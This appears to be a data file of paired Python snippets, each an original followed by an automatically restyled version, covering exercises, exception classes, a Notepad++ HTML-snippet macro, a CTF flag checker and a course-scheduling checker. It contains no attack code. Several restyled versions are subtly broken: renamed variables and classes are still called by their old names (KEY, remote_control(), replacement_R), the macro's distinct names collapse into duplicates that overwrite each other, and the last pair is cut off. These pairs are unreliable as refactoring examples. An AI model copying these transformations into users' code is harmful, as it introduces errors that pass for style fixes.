class Rolenotfounderror(Exception):
def __init__(self, credential_method, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
self.credential_method = credential_method
class Assumeroleerror(Exception):
def __init__(self, credential_method, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
self.credential_method = credential_method |
name = 'Jatin Mehta'
greeting = "Hello World, I am "
print(greeting, name)
| name = 'Jatin Mehta'
greeting = 'Hello World, I am '
print(greeting, name) |
for i in range(100, 1000):
sum = 0
for s in range(0, 3):
i = str(i)
sum = sum + int(i[s]) ** 3
i = int(i)
if sum == i:
print(i)
for i in range(1000, 10000):
sum = 0
for s in range(0, 4):
i = str(i)
sum = sum + int(i[s]) ** 4
i = int(i)
if sum == i:
print(i)
| for i in range(100, 1000):
sum = 0
for s in range(0, 3):
i = str(i)
sum = sum + int(i[s]) ** 3
i = int(i)
if sum == i:
print(i)
for i in range(1000, 10000):
sum = 0
for s in range(0, 4):
i = str(i)
sum = sum + int(i[s]) ** 4
i = int(i)
if sum == i:
print(i) |
def check_user_timeblock_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_1 == section.primary_instructor.user:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.timeblock == preference.object_2:
# If the preference is positive, and the specified teacher is teaching a class during the
# specified timeblock, highlight the section green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'The specified teacher is teaching a class during the specified timeblock'
)
else:
# If the preference is positive, and the specified teacher is not teaching a class during the
# specified timeblock, highlight it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'specified teacher is not teaching a class during the specified timeblock'
)
else:
# If the preference is negative, and the specified teacher is teaching a class during the
# specified timeblock, highlight the section red.
if section.timeblock == preference.object_2:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'preference is negative, and the specified teacher is teaching a class during the '
'specified timeblock '
)
def check_user_course_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_2 == section.course:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.primary_instructor.user == preference.object_1:
# If the preference is positive, and the course is taught by the specified teacher, highlight
# it green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'preference is positive, and the course is taught by the specified teacher'
)
else:
# If the preference is positive, and the course is not taught by the specified teacher,
# highlight it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'the course is not taught by the specified teacher'
)
else:
# If the preference is negative, and the course is taught by the specified teacher, highlight it
# red.
if section.primary_instructor.user == preference.object_1:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'the preference is negative, and the course is taught by the specified teacher'
)
def check_user_section_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_2 == section:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.primary_instructor.user == preference.object_1:
# If the preference is positive, and the section is taught by the specified teacher, highlight
# it green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'Preference is positive, and the section is taught by the specified teacher'
)
else:
# If the preference is positive, and the course is not taught by the specified teacher,
# highlight it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'The section is not taught by the specified teacher'
)
else:
# If the preference is negative, and the section is taught by the specified teacher, highlight it
# red.
if section.primary_instructor.user == preference.object_1:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'The preference is negative, and the section is taught by the specified teacher'
)
def check_section_timeblock_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_1 == section:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.timeblock == preference.object_2:
# If the preference is positive, and the section is at the specified timeblock, highlight it
# green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'Preference is positive, and the section is at the specified timeblock'
)
else:
# If the preference is positive, and the section is not at the specified timeblock, highlight
# it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'The section is not at the specified timeblock'
)
else:
# If the preference is negative, and the section is at the specified timeblock, highlight it red.
if section.timeblock == preference.object_2:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'Preference is negative, and the section is at the specified timeblock'
)
| def check_user_timeblock_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_1 == section.primary_instructor.user:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.timeblock == preference.object_2:
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append('The specified teacher is teaching a class during the specified timeblock')
else:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('specified teacher is not teaching a class during the specified timeblock')
elif section.timeblock == preference.object_2:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('preference is negative, and the specified teacher is teaching a class during the specified timeblock ')
def check_user_course_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_2 == section.course:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.primary_instructor.user == preference.object_1:
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append('preference is positive, and the course is taught by the specified teacher')
else:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('the course is not taught by the specified teacher')
elif section.primary_instructor.user == preference.object_1:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('the preference is negative, and the course is taught by the specified teacher')
def check_user_section_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_2 == section:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.primary_instructor.user == preference.object_1:
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append('Preference is positive, and the section is taught by the specified teacher')
else:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('The section is not taught by the specified teacher')
elif section.primary_instructor.user == preference.object_1:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('The preference is negative, and the section is taught by the specified teacher')
def check_section_timeblock_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_1 == section:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.timeblock == preference.object_2:
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append('Preference is positive, and the section is at the specified timeblock')
else:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('The section is not at the specified timeblock')
elif section.timeblock == preference.object_2:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append('Preference is negative, and the section is at the specified timeblock') |
# Runs with PythonScript plugin
# Copy to %APPDATA%\Roaming\Notepad++\plugins\config\PythonScript\scripts
search_text_4 = '[4['
search_text_8 = '[8['
search_text_f = '[f['
search_text_h = '[h['
search_text_q = '[q['
search_text_i = '[i['
search_text_o = '[o['
search_text_R = '[R['
search_text_r = '[r['
search_text_S = '[S['
search_text_u = '[u['
search_text_v = '[v['
replacement_f = '<iframe title="SketchFab model" width="480" height="360"\n src="https://sketchfab.com/models/XXXXXXXXXXXXXXXXXXXXXXXXXXXXX/embed?ui_controls=0&ui_infos=0&ui_inspector=0&ui_watermark=1&ui_watermark_link=0" allow="autoplay; fullscreen; vr" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>'
replacement_h = '<div class="row">\n <div class="col-8 col-12-narrow">\n <h3>\n \n </h3>\n </div>\n </div>\n <div class="row">\n \n </div>'
replacement_i = '<li class="do">\n \n </li>\n <li class="how">\n \n </li>';
replacement_o = '<li class="option" onclick="Right|Wrong(this, \'TODO\');">\n \n </li>'
replacement_q = '<li class="question" onclick="Reveal(\'TODO\');">\n \n </li>\n <li class="hidden written answer" id="TODO">\n \n </li>'
replacement_r = '<div class="row">\n \n </div>'
replacement_R = '</div>\n </div>\n\n <div class="row">\n <div class="col-8 col-12-narrow">'
replacement_u = '<ul>\n <li class="question" onclick="Reveal(\'TODO\');">\n \n </li>\n <li class="hidden written answer" id="TODO">\n \n </li>\n </ul>'
replacement_v = '<div class="col-8 col-12-narrow">\n <iframe src="https://durham.cloud.panopto.eu/Panopto/Pages/Embed.aspx?id="\n height="360" width="640" allow="fullscreen" loading="lazy"></iframe>\n </div>'
replacement_4 = '<div class="col-4 col-12-narrow">\n <span class="image">\n <img src="images/" />\n </span>\n </div>'
replacement_8 = '<div class="col-8 col-12-narrow">\n <p>\n \n </p>\n </div>'
replacement_S = '\n </div>\n </div>\n </section>\n\n <section id="SECTION_ID" class="main">\n <header>\n <div class="container">\n <span class="image featured">\n <img src="images/IMAGE"\n title=""\n alt="Credit: " />\n </span>\n <h2>TODO_SECTION_HEADING</h2>\n </div>\n </header>\n <div class="content dark style3">\n <div class="container">\n <div class="row">\n <div class="col-8 col-12-narrow">\n <h3>TODO_SUBHEADING</h3>\n </div>\n </div>\n <div class="row">\n \n </div>';
def callback_sci_CHARADDED(args):
if chr(args['ch']) == '[':
cp = editor.getCurrentPos()
search_text_length = 3
start_of_search_text_pos = cp - search_text_length
if editor.getTextRange(start_of_search_text_pos, cp) == search_text_f:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_f)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_f)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_R:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_R)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_R)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_r:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_r)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_r)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_h:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_h)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_h)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_i:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_i)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_i)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_o:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_o)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_o)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_q:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_q)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_q)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_u:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_u)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_u)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_4:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_4)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_4)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_8:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_8)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_8)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_v:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_v)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_v)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_S:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_S)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_S)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
editor.callback(callback_sci_CHARADDED, [SCINTILLANOTIFICATION.CHARADDED]) | search_text_4 = '[4['
search_text_8 = '[8['
search_text_f = '[f['
search_text_h = '[h['
search_text_q = '[q['
search_text_i = '[i['
search_text_o = '[o['
search_text_r = '[R['
search_text_r = '[r['
search_text_s = '[S['
search_text_u = '[u['
search_text_v = '[v['
replacement_f = '<iframe title="SketchFab model" width="480" height="360"\n src="https://sketchfab.com/models/XXXXXXXXXXXXXXXXXXXXXXXXXXXXX/embed?ui_controls=0&ui_infos=0&ui_inspector=0&ui_watermark=1&ui_watermark_link=0" allow="autoplay; fullscreen; vr" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>'
replacement_h = '<div class="row">\n <div class="col-8 col-12-narrow">\n <h3>\n \n </h3>\n </div>\n </div>\n <div class="row">\n \n </div>'
replacement_i = '<li class="do">\n \n </li>\n <li class="how">\n \n </li>'
replacement_o = '<li class="option" onclick="Right|Wrong(this, \'TODO\');">\n \n </li>'
replacement_q = '<li class="question" onclick="Reveal(\'TODO\');">\n \n </li>\n <li class="hidden written answer" id="TODO">\n \n </li>'
replacement_r = '<div class="row">\n \n </div>'
replacement_r = '</div>\n </div>\n\n <div class="row">\n <div class="col-8 col-12-narrow">'
replacement_u = '<ul>\n <li class="question" onclick="Reveal(\'TODO\');">\n \n </li>\n <li class="hidden written answer" id="TODO">\n \n </li>\n </ul>'
replacement_v = '<div class="col-8 col-12-narrow">\n <iframe src="https://durham.cloud.panopto.eu/Panopto/Pages/Embed.aspx?id="\n height="360" width="640" allow="fullscreen" loading="lazy"></iframe>\n </div>'
replacement_4 = '<div class="col-4 col-12-narrow">\n <span class="image">\n <img src="images/" />\n </span>\n </div>'
replacement_8 = '<div class="col-8 col-12-narrow">\n <p>\n \n </p>\n </div>'
replacement_s = '\n </div>\n </div>\n </section>\n\n <section id="SECTION_ID" class="main">\n <header>\n <div class="container">\n <span class="image featured">\n <img src="images/IMAGE"\n title=""\n alt="Credit: " />\n </span>\n <h2>TODO_SECTION_HEADING</h2>\n </div>\n </header>\n <div class="content dark style3">\n <div class="container">\n <div class="row">\n <div class="col-8 col-12-narrow">\n <h3>TODO_SUBHEADING</h3>\n </div>\n </div>\n <div class="row">\n \n </div>'
def callback_sci_charadded(args):
if chr(args['ch']) == '[':
cp = editor.getCurrentPos()
search_text_length = 3
start_of_search_text_pos = cp - search_text_length
if editor.getTextRange(start_of_search_text_pos, cp) == search_text_f:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_f)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_f)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_R:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_R)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_R)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_r:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_r)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_r)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_h:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_h)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_h)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_i:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_i)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_i)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_o:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_o)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_o)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_q:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_q)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_q)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_u:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_u)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_u)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_4:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_4)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_4)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_8:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_8)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_8)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_v:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_v)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_v)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_S:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_S)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_S)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
editor.callback(callback_sci_CHARADDED, [SCINTILLANOTIFICATION.CHARADDED]) |
#! /usr/bin/env Pyrhon3
list_of_tuples_even = []
list_of_tuples_odd = []
for i in range(1, 11):
for j in range(1, 11):
if i % 2 == 0:
list_of_tuples_even.append((i, j, i * j))
else:
list_of_tuples_odd.append((i, j, i * j))
print(list_of_tuples_odd)
print('******************')
print(list_of_tuples_even)
| list_of_tuples_even = []
list_of_tuples_odd = []
for i in range(1, 11):
for j in range(1, 11):
if i % 2 == 0:
list_of_tuples_even.append((i, j, i * j))
else:
list_of_tuples_odd.append((i, j, i * j))
print(list_of_tuples_odd)
print('******************')
print(list_of_tuples_even) |
#!/usr/bin/python3
for first_digit in range(10):
for second_digit in range(first_digit+1, 10):
if first_digit == 8 and second_digit == 9:
print("{}{}".format(first_digit, second_digit))
else:
print("{}{}".format(first_digit, second_digit), end=", ")
| for first_digit in range(10):
for second_digit in range(first_digit + 1, 10):
if first_digit == 8 and second_digit == 9:
print('{}{}'.format(first_digit, second_digit))
else:
print('{}{}'.format(first_digit, second_digit), end=', ') |
def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'):
print("-- This parrot wouldn't", action, end =' ')
print("if you put", voltage, "volts through it.")
print("-- Lovely plumage, the", type)
print("-- It's", state, "!")
parrot(1000)
parrot(voltage=1000000, action='VOOOOOM')
parrot('a million', 'bereft of life', 'jump') | def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'):
print("-- This parrot wouldn't", action, end=' ')
print('if you put', voltage, 'volts through it.')
print('-- Lovely plumage, the', type)
print("-- It's", state, '!')
parrot(1000)
parrot(voltage=1000000, action='VOOOOOM')
parrot('a million', 'bereft of life', 'jump') |
def decrypt(ciphertext, key):
out = ""
for i in range(2, len(ciphertext)):
out += chr((((ciphertext[i] ^ (key*ciphertext[i-2])) - ciphertext[i-1]) ^ (key + ciphertext[i-1]))//ciphertext[i-2])
return out
def solve(flag):
text = ''.join(open("downloads/conversation", "r").readlines())
KEY = int(open("key", "r").readlines()[0].rstrip())
messages = text.split("Content: ")[1:]
messages = [decrypt([int(z) for z in x.split("Message from:")[0].split(" ")], KEY) for x in messages[:-1]]
if flag in " ".join(messages):
exit(0)
else:
exit(1)
flag = input("flag: ")
solve(flag)
| def decrypt(ciphertext, key):
out = ''
for i in range(2, len(ciphertext)):
out += chr(((ciphertext[i] ^ key * ciphertext[i - 2]) - ciphertext[i - 1] ^ key + ciphertext[i - 1]) // ciphertext[i - 2])
return out
def solve(flag):
text = ''.join(open('downloads/conversation', 'r').readlines())
key = int(open('key', 'r').readlines()[0].rstrip())
messages = text.split('Content: ')[1:]
messages = [decrypt([int(z) for z in x.split('Message from:')[0].split(' ')], KEY) for x in messages[:-1]]
if flag in ' '.join(messages):
exit(0)
else:
exit(1)
flag = input('flag: ')
solve(flag) |
welcome_message = '''
######################################################
Hello! This script pulls all the emails for a required
mailing list and saves them as a text file in the
"Output" folder.
If you run in to problems, contact Matt
Email: mrallinson@gmail.com
######################################################
'''
error_message = '''
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Something went wrong, please check mailing list name and password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
''' | welcome_message = '\n######################################################\n\nHello! This script pulls all the emails for a required \nmailing list and saves them as a text file in the \n"Output" folder. \n\nIf you run in to problems, contact Matt \nEmail: mrallinson@gmail.com\n\n######################################################\n'
error_message = '\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSomething went wrong, please check mailing list name and password\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' |
def solution(brown, yellow):
answer = []
s = brown + yellow
l = 1
while True:
if yellow % l == 0:
w = yellow / l
print(w, l)
if w < l:
break
if ((l+2)*(w+2)) == s:
answer.append(w+2)
answer.append(l+2)
l += 1
if l > yellow:
break
return answer
| def solution(brown, yellow):
answer = []
s = brown + yellow
l = 1
while True:
if yellow % l == 0:
w = yellow / l
print(w, l)
if w < l:
break
if (l + 2) * (w + 2) == s:
answer.append(w + 2)
answer.append(l + 2)
l += 1
if l > yellow:
break
return answer |
# Copied from https://rosettacode.org/wiki/Greatest_common_divisor#Python
def gcd_bin(u, v):
u, v = abs(u), abs(v) # u >= 0, v >= 0
if u < v:
u, v = v, u # u >= v >= 0
if v == 0:
return u
# u >= v > 0
k = 1
while u & 1 == 0 and v & 1 == 0: # u, v - even
u >>= 1; v >>= 1
k <<= 1
t = -v if u & 1 else u
while t:
while t & 1 == 0:
t >>= 1
if t > 0:
u = t
else:
v = -t
t = u - v
return u * k
| def gcd_bin(u, v):
(u, v) = (abs(u), abs(v))
if u < v:
(u, v) = (v, u)
if v == 0:
return u
k = 1
while u & 1 == 0 and v & 1 == 0:
u >>= 1
v >>= 1
k <<= 1
t = -v if u & 1 else u
while t:
while t & 1 == 0:
t >>= 1
if t > 0:
u = t
else:
v = -t
t = u - v
return u * k |
'''
Created on 31 May 2015
@author: sl0
'''
HASH_LEN = 569 | """
Created on 31 May 2015
@author: sl0
"""
hash_len = 569 |
SEVERITY_WARNING = 2
SEVERITY_OK = 0
class CException(Exception):
def __init__(self, *args, **kwdargs):
pass
def extend(self, *args, **kwdargs):
pass
def maxSeverity(self, *args, **kwdargs):
return 0
| severity_warning = 2
severity_ok = 0
class Cexception(Exception):
def __init__(self, *args, **kwdargs):
pass
def extend(self, *args, **kwdargs):
pass
def max_severity(self, *args, **kwdargs):
return 0 |
# import time as t
# a= ["sonic","CN","pogo","hungama","nick","disney","zetX","discovery"]
# b= iter(a)
# c = reversed(a)
# for channels in a:
# print(next(c))
# t.sleep(1)
class RemoteControl():
def __init__(self):
self.channels = ["sonic","CN","pogo","hungama","nick","disney","zetX","discovery"]
self.index= -1
def __iter__(self):
return self
def __next__(self):
self.index += 1
if self.index == len(self.channels):
self.index=0
return self.channels[self.index]
r = RemoteControl()
itr = iter(r)
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
| class Remotecontrol:
def __init__(self):
self.channels = ['sonic', 'CN', 'pogo', 'hungama', 'nick', 'disney', 'zetX', 'discovery']
self.index = -1
def __iter__(self):
return self
def __next__(self):
self.index += 1
if self.index == len(self.channels):
self.index = 0
return self.channels[self.index]
r = remote_control()
itr = iter(r)
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr))
print(next(itr)) |
class StartLimitException(Exception):
def __init__(self, start_limit) -> None:
super().__init__(f"Start limit {start_limit} is invalid.\
Start limit should not be less than 0.")
class LimitInvalidException(Exception):
def __init__(self, limit) -> None:
super().__init__(f"Limit {limit} is invalid.\
Limit should not be less than 0.") | class Startlimitexception(Exception):
def __init__(self, start_limit) -> None:
super().__init__(f'Start limit {start_limit} is invalid. Start limit should not be less than 0.')
class Limitinvalidexception(Exception):
def __init__(self, limit) -> None:
super().__init__(f'Limit {limit} is invalid. Limit should not be less than 0.') |
DOC_HEADER = 'Checks if an object has the attribute{}.'
DOC_BODY = ('\n\n'
'Parameters\n'
'----------\n'
'value\n'
' The literal or variable to check the attribute(s) of.\n'
'name : str, optional\n'
' Name of the variable to check the attributes(s) of.\n'
' Defaults to None.\n'
'\n'
'Returns\n'
'-------\n'
'value\n'
' The `value` passed in.\n'
'\n'
'Attributes\n'
'----------\n'
'attrs : tuple(str)\n'
' The attribute(s) to check for.\n'
'\n'
'Methods\n'
'-------\n'
'o(callable) : CompositionOf\n'
' Daisy-chains the attribute checker to another `callable`,\n'
' returning the functional composition of both.\n'
'\n'
'Raises\n'
'------\n'
'MissingAttrError\n'
' If the variable or literal does not have (one of) the\n'
' required attribute(s).\n'
'\n'
'See also\n'
'--------\n'
'Just, CompositionOf')
| doc_header = 'Checks if an object has the attribute{}.'
